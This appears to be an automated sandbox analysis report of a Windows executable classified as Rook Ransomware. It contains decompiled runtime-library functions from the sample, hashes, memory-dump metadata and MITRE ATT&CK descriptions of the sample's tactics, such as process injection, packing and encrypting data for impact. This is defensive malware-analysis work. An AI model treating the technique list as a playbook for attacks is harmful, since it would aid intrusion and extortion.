GetLastError.KERNEL32(?,?,?,00007FF7E373CD04,?,?,?,00007FF7E373CDA5), ref: 00007FF7E3741F4A
SetLastError.KERNEL32(?,?,?,00007FF7E373CD04,?,?,?,00007FF7E373CDA5), ref: 00007FF7E3741FB2
SetLastError.KERNEL32(?,?,?,00007FF7E373CD04,?,?,?,00007FF7E373CDA5), ref: 00007FF7E3741FC8
abort.LIBCMT ref: 00007FF7E3741FCE

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 9025e392dfd217b98ca5339230abb13d8a26a3a2bf49e7040521606e4ab1a13c
Instruction ID: 5df8e776fdb596367eb656b4f97a84652f245ddfb95a3376b3a9c6239e7a22d3
Opcode Fuzzy Hash: 9025e392dfd217b98ca5339230abb13d8a26a3a2bf49e7040521606e4ab1a13c
Instruction Fuzzy Hash: 7A010C31A1A70382FAD8776165D5738F9515F5C790F840437E91E22BD3EE3CB8618222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37421A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00007FF77FF7E37421A4(void* __edx, void* __edi, void* __esp, long long __rbx, unsigned int* __rcx, signed long long __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* __r10, char* _a40, intOrPtr _a48, signed int _a56, intOrPtr _a64, intOrPtr _a72) {
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v48;
				intOrPtr _v56;
				long long _v72;
				intOrPtr _v80;
				intOrPtr _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t62;
				void* _t65;
				void* _t69;
				char _t70;
				char _t73;
				signed char _t75;
				void* _t86;
				intOrPtr _t87;
				void* _t88;
				signed int _t96;
				void* _t124;
				intOrPtr* _t139;
				char* _t143;
				long long _t171;
				signed long long _t174;
				intOrPtr* _t178;
				char* _t179;
				signed long long _t184;
				void* _t185;
				signed long long _t192;
				signed long long _t194;
				signed long long _t197;
				signed long long _t201;
				intOrPtr* _t202;
				char* _t203;
				intOrPtr* _t204;
				char* _t205;
				void* _t206;
				char* _t208;
				void* _t209;
				char* _t210;
				char* _t211;
				char* _t212;
				char* _t213;
				unsigned int* _t216;
				void* _t219;
				intOrPtr* _t221;
				char* _t227;
				long long _t235;
				intOrPtr* _t239;
				char* _t241;

				_t171 = __rbx;
				_t139 = _t221;
				 *((long long*)(_t139 + 8)) = __rbx;
				 *((long long*)(_t139 + 0x10)) = __rbp;
				 *((long long*)(_t139 + 0x18)) = __rsi;
				 *((long long*)(_t139 + 0x20)) = __rdi;
				_push(_t235);
				r12d = 0;
				_t201 = __rdx;
				 *((intOrPtr*)(__rdx)) = r12b;
				_t216 = __rcx;
				_t174 = _t139 - 0x38;
				_t219 = __r8;
				_t86 =  <  ? r12d : _a48;
				E00007FF77FF7E373CCCC(_t139, __rbx, _t174, _a72);
				if (__r8 - _t171 + 0xb > 0) goto 0xe3742212;
				_t62 = E00007FF77FF7E3740720(_t139);
				_t9 = _t235 + 0x22; // 0x22
				_t87 = _t9;
				 *_t139 = _t87;
				E00007FF77FF7E3740600(_t62);
				goto 0xe37424cd;
				if (( *__rcx >> 0x00000034 & _t174) != _t174) goto 0xe374229d;
				_v72 = _t235;
				_v80 = _a64;
				_t192 = _t201;
				_t143 = _a40;
				_v88 = r12b;
				_v96 = _t87;
				_v104 = _t143;
				_t65 = E00007FF77FF7E3742504(_t171, __rcx, _t192, __rcx, __r8);
				_t88 = _t65;
				if (_t65 == 0) goto 0xe374226b;
				 *_t201 = r12b;
				goto 0xe37424cd;
				strrchr(_t241);
				if (_t143 == 0) goto 0xe37424ca;
				asm("sbb dl, dl");
				 *_t143 = 0xd0;
				 *((intOrPtr*)(_t143 + 3)) = r12b;
				goto 0xe37424ca;
				if (( *_t216 & 0x00000000) == 0) goto 0xe37422b2;
				 *_t201 = 0x2d;
				_t202 = _t201 + 1;
				r15b = _a56;
				r10d = 0x30;
				asm("sbb edx, edx");
				if (( *_t216 & 0x00000000) != 0) goto 0xe3742305;
				 *_t202 = r10b;
				_t203 = _t202 + 1;
				asm("dec eax");
				goto 0xe374230b;
				 *_t203 = 0x31;
				_t204 = _t203 + 1;
				_t239 = _t204;
				_t205 = _t204 + 1;
				if (_t88 != 0) goto 0xe374231a;
				 *_t239 = r12b;
				goto 0xe374232e;
				 *_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0xf8))))));
				if (( *_t216 & 0xffffffff) <= 0) goto 0xe37423c1;
				r8d = r10w & 0xffffffff;
				if (_t88 <= 0) goto 0xe3742377;
				_t69 =  ~r15b + r10w;
				_t124 = _t69 - 0x39;
				if (_t124 <= 0) goto 0xe3742365;
				_t70 = _t69 + 0xffffffff000000e7;
				 *_t205 = _t70;
				_t206 = _t205 + 1;
				r8w = r8w + 0xfffc;
				if (_t124 >= 0) goto 0xe3742345;
				if (r8w < 0) goto 0xe37423c1;
				_t96 = r8b;
				if (_t70 - 8 <= 0) goto 0xe37423c1;
				_t28 = _t206 - 1; // 0xa7401c1f60ce9c3
				_t178 = _t28;
				if (( *_t178 - 0x00000046 & 0x000000df) != 0) goto 0xe37423a6;
				 *_t178 = r10b;
				_t179 = _t178 - 1;
				goto 0xe3742396;
				if (_t179 == _t239) goto 0xe37423be;
				_t73 =  *_t179;
				if (_t73 != 0x39) goto 0xe37423b8;
				 *_t179 = 0xffffffff00000121;
				goto 0xe37423c1;
				 *_t179 = _t73 + 1;
				goto 0xe37423c1;
				 *((char*)(_t179 - 1)) =  *((char*)(_t179 - 1)) + 1;
				if (_t88 - 1 <= 0) goto 0xe37423dc;
				_t75 = E00007FF77FF7E373B860(_t96, r10b, __edi, __esp, _t206, _t192, _t206, _t171);
				r10d = 0x30;
				_t208 =  ==  ? _t239 : _t206 + _t171;
				r15b =  ~r15b;
				asm("sbb al, al");
				 *_t208 = (_t75 & 0x000000e0) + 0x70;
				if ( *_t239 - r12b < 0) goto 0xe374240a;
				 *((char*)(_t208 + 1)) = 0x2b;
				_t209 = _t208 + 2;
				goto 0xe3742415;
				 *((char*)(_t209 + 1)) = 0x2d;
				_t210 = _t209 + 2;
				_t184 =  ~(( *_t216 >> 0x34) - _t219);
				 *_t210 = r10b;
				_t227 = _t210;
				if (_t184 - 0x3e8 < 0) goto 0xe3742457;
				_t194 = (_t192 >> 7) + (_t192 >> 7 >> 0x3f);
				 *_t210 = __r10 + _t194;
				_t211 = _t210 + 1;
				_t185 = _t184 + _t194 * 0xfffffc18;
				if (_t211 != _t227) goto 0xe374245d;
				if (_t185 - 0x64 < 0) goto 0xe374248b;
				_t197 = (_t194 + _t185 >> 6) + (_t194 + _t185 >> 6 >> 0x3f);
				 *_t211 = __r10 + _t197;
				_t212 = _t211 + 1;
				if (_t212 != _t227) goto 0xe3742496;
				if (_t185 + _t197 * 0xffffff9c - 0xa < 0) goto 0xe37424c1;
				 *_t212 = __r10 + (_t197 >> 2) + (_t197 >> 2 >> 0x3f);
				_t213 = _t212 + 1;
				 *_t213 = (_t96 & 0x000007ff) + r10b;
				 *((intOrPtr*)(_t213 + 1)) = r12b;
				if (_v32 == r12b) goto 0xe37424e0;
				 *(_v56 + 0x3a8) =  *(_v56 + 0x3a8) & 0xfffffffd;
				return r12d;
			}

0x7ff7e37421a4
0x7ff7e37421a4
0x7ff7e37421a7
0x7ff7e37421ab
0x7ff7e37421af
0x7ff7e37421b3
0x7ff7e37421b7
0x7ff7e37421c8
0x7ff7e37421cb
0x7ff7e37421ce
0x7ff7e37421d9
0x7ff7e37421de
0x7ff7e37421e5
0x7ff7e37421e8
0x7ff7e37421ec
0x7ff7e37421fa
0x7ff7e37421fc
0x7ff7e3742201
0x7ff7e3742201
0x7ff7e3742206
0x7ff7e3742208
0x7ff7e374220d
0x7ff7e3742224
0x7ff7e3742230
0x7ff7e3742238
0x7ff7e374223c
0x7ff7e374223f
0x7ff7e374224a
0x7ff7e374224f
0x7ff7e3742253
0x7ff7e3742258
0x7ff7e374225d
0x7ff7e3742261
0x7ff7e3742263
0x7ff7e3742266
0x7ff7e3742273
0x7ff7e374227b
0x7ff7e374228a
0x7ff7e3742292
0x7ff7e3742294
0x7ff7e3742298
0x7ff7e37422aa
0x7ff7e37422ac
0x7ff7e37422af
0x7ff7e37422b2
0x7ff7e37422c2
0x7ff7e37422de
0x7ff7e37422e9
0x7ff7e37422eb
0x7ff7e37422ee
0x7ff7e37422fa
0x7ff7e3742303
0x7ff7e3742305
0x7ff7e3742308
0x7ff7e374230b
0x7ff7e374230e
0x7ff7e3742313
0x7ff7e3742315
0x7ff7e3742318
0x7ff7e374232b
0x7ff7e3742331
0x7ff7e3742337
0x7ff7e3742347
0x7ff7e3742358
0x7ff7e374235c
0x7ff7e3742360
0x7ff7e3742362
0x7ff7e3742365
0x7ff7e3742369
0x7ff7e3742370
0x7ff7e3742375
0x7ff7e374237b
0x7ff7e3742380
0x7ff7e3742390
0x7ff7e3742392
0x7ff7e3742392
0x7ff7e374239c
0x7ff7e374239e
0x7ff7e37423a1
0x7ff7e37423a4
0x7ff7e37423a9
0x7ff7e37423ab
0x7ff7e37423af
0x7ff7e37423b4
0x7ff7e37423b6
0x7ff7e37423ba
0x7ff7e37423bc
0x7ff7e37423be
0x7ff7e37423c3
0x7ff7e37423ce
0x7ff7e37423d6
0x7ff7e37423df
0x7ff7e37423e3
0x7ff7e37423e6
0x7ff7e37423ec
0x7ff7e37423fe
0x7ff7e3742400
0x7ff7e3742404
0x7ff7e3742408
0x7ff7e374240a
0x7ff7e374240e
0x7ff7e3742412
0x7ff7e3742415
0x7ff7e3742418
0x7ff7e3742422
0x7ff7e374243c
0x7ff7e3742443
0x7ff7e3742445
0x7ff7e374244f
0x7ff7e3742455
0x7ff7e374245b
0x7ff7e3742478
0x7ff7e374247f
0x7ff7e3742481
0x7ff7e374248e
0x7ff7e3742494
0x7ff7e37424b5
0x7ff7e37424b7
0x7ff7e37424c4
0x7ff7e37424c6
0x7ff7e37424d2
0x7ff7e37424d9
0x7ff7e3742500

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3742208

Strings

gfffffff, xrefs: 00007FF7E3742496

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 445c778525773ce151bc7916d88b2de7c44a73418927d5f0670147e33a5e0363
Instruction ID: d286bd7e9db7a3c8d863670e7790fe8ab300a25d4737155a2254621c5fd5f97b
Opcode Fuzzy Hash: 445c778525773ce151bc7916d88b2de7c44a73418927d5f0670147e33a5e0363
Instruction Fuzzy Hash: 1491F772A0938685FB559F29A18036CBF65EB197C0F448132CB8D17795EA3CF531C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37425D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E37425D4(void* __ebx, void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _t11;
				void* _t13;
				intOrPtr* _t21;
				intOrPtr* _t35;

				_t21 = _t35;
				 *((long long*)(_t21 + 8)) = __rbx;
				 *((long long*)(_t21 + 0x10)) = __rbp;
				 *((long long*)(_t21 + 0x18)) = __rsi;
				 *((long long*)(_t21 + 0x20)) = __rdi;
				r15b = r9b;
				_t10 =  >  ? __ebx : 0;
				_t11 = ( >  ? __ebx : 0) + 9;
				if (__rdx - _t21 > 0) goto 0xe3742639;
				_t13 = E00007FF77FF7E3740720(_t21);
				 *_t21 = 0x22;
				E00007FF77FF7E3740600(_t13);
				return 0x22;
			}

0x7ff7e37425d4
0x7ff7e37425d7
0x7ff7e37425db
0x7ff7e37425df
0x7ff7e37425e3
0x7ff7e37425f5
0x7ff7e37425fe
0x7ff7e3742601
0x7ff7e3742609
0x7ff7e374260b
0x7ff7e3742615
0x7ff7e3742617
0x7ff7e3742638

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3742617

Strings

e+000, xrefs: 00007FF7E37426BF
gfff, xrefs: 00007FF7E3742742

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: c19222805d57291bba88c09c8d71bba371424ee7757f70d087305e00917f60fb
Instruction ID: 4dfdf2bfcfd9570d5b5ccb0713c34ac14c6550cb757953a137fb6f7f2e3b1ac9
Opcode Fuzzy Hash: c19222805d57291bba88c09c8d71bba371424ee7757f70d087305e00917f60fb
Instruction Fuzzy Hash: C3513B72B187C146F7659F35998036DBE91E785B90F488236C79857BC6CE3CE460C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373EE00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 52%

			E00007FF77FF7E373EE00(void* __ecx, intOrPtr* __rax, long long __rbx, void* __rcx, void* __r8, long long _a8, signed int _a16, signed int _a24, signed int _a32) {
				long long _v56;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t27;
				intOrPtr _t36;
				intOrPtr* _t62;
				long long _t68;
				void* _t70;
				long long _t84;
				signed int _t85;
				intOrPtr* _t86;
				void* _t89;

				_t70 = __rcx;
				_a8 = __rbx;
				_t2 = _t70 - 1; // -1
				r14d = __ecx;
				if (_t2 - 1 <= 0) goto 0xe373ee34;
				_t27 = E00007FF77FF7E3740720(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E3740600(_t27);
				goto 0xe373ef63;
				E00007FF77FF7E3743BC4();
				_t67 = "C:\\Users\\alfredo\\Desktop\\ZunmmW7pe5.exe";
				r8d = 0x104;
				GetModuleFileNameA(??, ??, ??);
				_t86 =  *0xe3764fb0; // 0x193351232f0
				 *0xe3764fc0 = "C:\\Users\\alfredo\\Desktop\\ZunmmW7pe5.exe";
				if (_t86 == 0) goto 0xe373ee6b;
				if ( *_t86 != dil) goto 0xe373ee6e;
				_t62 =  &_a32;
				_a24 = _t85;
				_v56 = _t62;
				r8d = 0;
				_a32 = _t85;
				E00007FF77FF7E373EBE0("C:\\Users\\alfredo\\Desktop\\ZunmmW7pe5.exe", _t67, _t67, _t85, _t67, _t89, __r8,  &_a24);
				r8d = 1;
				E00007FF77FF7E373ED9C(_a24, _a32, __r8);
				_t68 = _t62;
				if (_t62 != 0) goto 0xe373eebf;
				E00007FF77FF7E3740720(_t62);
				_t10 = _t68 + 0xc; // 0xc
				 *_t62 = _t10;
				goto 0xe373ef5e;
				_v56 =  &_a32;
				E00007FF77FF7E373EBE0(_t68, _t67, _t68, _t85, _t67, _t89, _t62 + _a24 * 8,  &_a24);
				if (r14d != 1) goto 0xe373eef5;
				_t36 = _a24 - 1;
				 *0xe3764fa0 = _t68;
				 *0xe3764f9c = _t36;
				goto 0xe373eeb8;
				_a16 = _t85;
				0xe37434c0();
				if (_t36 == 0) goto 0xe373ef24;
				E00007FF77FF7E373FEE4( &_a32, _a16);
				_a16 = _t85;
				E00007FF77FF7E373FEE4( &_a32, _t68);
				goto 0xe373ef63;
				_t84 = _a16;
				if ( *_t84 == _t85) goto 0xe373ef3f;
				if ( *((intOrPtr*)(_t84 + 8)) != _t85) goto 0xe373ef33;
				 *0xe3764f9c = 0;
				_a16 = _t85;
				 *0xe3764fa0 = _t84;
				E00007FF77FF7E373FEE4(_t84 + 8, _t85 + 1);
				_a16 = _t85;
				E00007FF77FF7E373FEE4(_t84 + 8, _t68);
				return _t36;
			}

0x7ff7e373ee00
0x7ff7e373ee00
0x7ff7e373ee13
0x7ff7e373ee16
0x7ff7e373ee1c
0x7ff7e373ee1e
0x7ff7e373ee28
0x7ff7e373ee2a
0x7ff7e373ee2f
0x7ff7e373ee34
0x7ff7e373ee39
0x7ff7e373ee40
0x7ff7e373ee4b
0x7ff7e373ee51
0x7ff7e373ee5a
0x7ff7e373ee64
0x7ff7e373ee69
0x7ff7e373ee6e
0x7ff7e373ee72
0x7ff7e373ee7a
0x7ff7e373ee7f
0x7ff7e373ee82
0x7ff7e373ee8b
0x7ff7e373ee94
0x7ff7e373eea1
0x7ff7e373eea6
0x7ff7e373eeac
0x7ff7e373eeae
0x7ff7e373eeb3
0x7ff7e373eeb6
0x7ff7e373eeba
0x7ff7e373eed1
0x7ff7e373eed6
0x7ff7e373eedf
0x7ff7e373eee4
0x7ff7e373eee6
0x7ff7e373eeed
0x7ff7e373eef3
0x7ff7e373eef9
0x7ff7e373ef00
0x7ff7e373ef09
0x7ff7e373ef0f
0x7ff7e373ef17
0x7ff7e373ef1b
0x7ff7e373ef22
0x7ff7e373ef24
0x7ff7e373ef31
0x7ff7e373ef3d
0x7ff7e373ef3f
0x7ff7e373ef47
0x7ff7e373ef4b
0x7ff7e373ef52
0x7ff7e373ef5a
0x7ff7e373ef5e
0x7ff7e373ef75

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373EE2A
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF7E373ABC6), ref: 00007FF7E373EE4B

Strings

C:\Users\user\Desktop\ZunmmW7pe5.exe, xrefs: 00007FF7E373EE39

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\ZunmmW7pe5.exe
API String ID: 3307058713-3970586662
Opcode ID: 382b75a34eef884de7da4dad7885183260ec312811d01b0c2194739cee2410c1
Instruction ID: 0d2129d3eea959422c8ace02739ec05788ee5e08fad2ac5827cf4f939e0fe161
Opcode Fuzzy Hash: 382b75a34eef884de7da4dad7885183260ec312811d01b0c2194739cee2410c1
Instruction Fuzzy Hash: F441933390965289F795FF21A4802B8BB94EF987D4B844037E90D23B45DF3DE4A1C722

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZunmmW7pe5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Rook Ransomware

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

